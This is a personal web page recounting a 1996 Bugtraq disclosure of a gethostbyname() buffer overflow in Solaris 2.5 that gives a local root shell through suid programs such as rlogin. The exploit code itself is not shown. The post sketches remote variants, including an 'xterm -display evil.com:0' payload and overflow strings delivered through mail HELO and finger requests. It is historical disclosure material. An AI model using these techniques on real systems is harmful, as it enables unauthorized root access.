The gethostbyname() Exploit

On November 16, 1996, I was talking to my friend Jeremy Rauch about UNIX security. He was telling me that it is often possible to get buggy programs that use fixed-length buffers to do strange things by overflowing those buffers in a very careful and controlled manner.

The next day, I tested various programs for this buggy behavior and discovered that the traceroute program crashed whenever it received an argument greater than 8,251 characters long. I downloaded the source code for traceroute and discovered that it had no buffer-overflow bugs -- it didn't use any fixed-length buffers at all. After a bit more testing, I discovered that the bug was in the gethostname() library call itself! A little more work, using similar programs as a model, resulted in a program that would let a non-root user get a root shell.

After contacting Casper Dik of Sun Microsystems to let him know what was going on, I posted a description of the bug, along with the code to exploit it, to the Bugtraq mailing list on November 18. In response, Sun developed and released a patch two days later, described in their Security Bulletin.

Here is the post I made to BugTraq:

18 Nov 1996, 12:30 EST

Hello,

I have found what I believe is a very serious security hole in the
gethostbyname() function provided in the nsl library of Solaris 2.5 and
2.5.1.  The hole allows local users to gain access to a root shell
(exploit program provided below).  There is a good chance this exploit can
be modified to allow a remote attack, but such a method has not yet been
found. 


gethostbyname() appears to have a buffer overrun problem.  Calling
gethostbyname() on a Solaris 2.5 or 2.5.1 machine with an argument larger
than 8,251 characters causes a segmentation fault or bus error.  This does
*not* seem to happen under Solaris 2.4; some change made to the NSL
library between 2.4 and 2.5 seems to have broken this. 

The buffer overrun can be readily exploited by passing a string to
gethostbyname() that contains assembler code to execute a shell and
overwrites the stack's return pointer so the flow of control jumps to that
code when the function tries to return.  (This technique was described in
detail in Phrack 49, and the exploit program below is based on their
writeup.) 

The implications are somewhat alarming.  Any program that accepts a
hostname from the user without imposing a restriction on the length of the
hostname, and resolves it using gethostbyname(), is potentially
exploitable.  Any suid-root program fitting that description can be used
to gain root privileges.  The exploit program I have provided uses
/usr/bin/rlogin, but the same code also gives a root shell if used in
conjunction with rsh, ping, or traceroute. 

If a suitable daemon can be found, this same technique can probably also
be used as a remote exploit.  The asm code in my exploit program simply
runs /bin/sh (BTW, I didn't write the shellcode myself; I copied it from a
similar program).  If the code is changed to run something else (for
example, 'xterm -display evil.com:0'), and a daemon can be found that will
resolve hostnames without restricting their length, remote root access may
be possible.  For example, any mail daemon might work (HELO {overflow_string})
or the finger daemon (finger krusty@{overflow_string}@victim.com). 

Note that all sites running a public traceroute or ping daemon under
Solaris 2.5 or 2.5.1 are also potentially vulnerable, and probably should
disable those services until a patch is available (or indefinitely). 

Sun has been notified of this bug; they told me they are already aware of
it, but a patch is not yet available. 

Finally, I am enclosing below two programs.  The first (rlogin-exploit.c) 
executes a root shell under Solaris 2.5[.1] by passing an appropriately
constructed string to /usr/bin/rlogin as its argument, which rlogin then
resolves using gethostbyname().  This program also works to exploit rsh,
ping, traceroute, etc. 

The second (overflow-demo.c) is an almost identical program, except that
it directly calls gethostbyname() instead of using rlogin.  The result is
a shell of the same UID as the calling program.  The purpose of this
program is simply to demonstrate that the bug is part of the NSL library,
not rlogin.

Thank you to Jeremy Rauch (jed@cs.jhu.edu) for useful advice in working up
this bug. 
The two programs described in my writeup are rlogin-exploit and overflow-demo.


Back to my software page
Back to my home page

Jeremy Elson
Last updated: 18 Dec 1997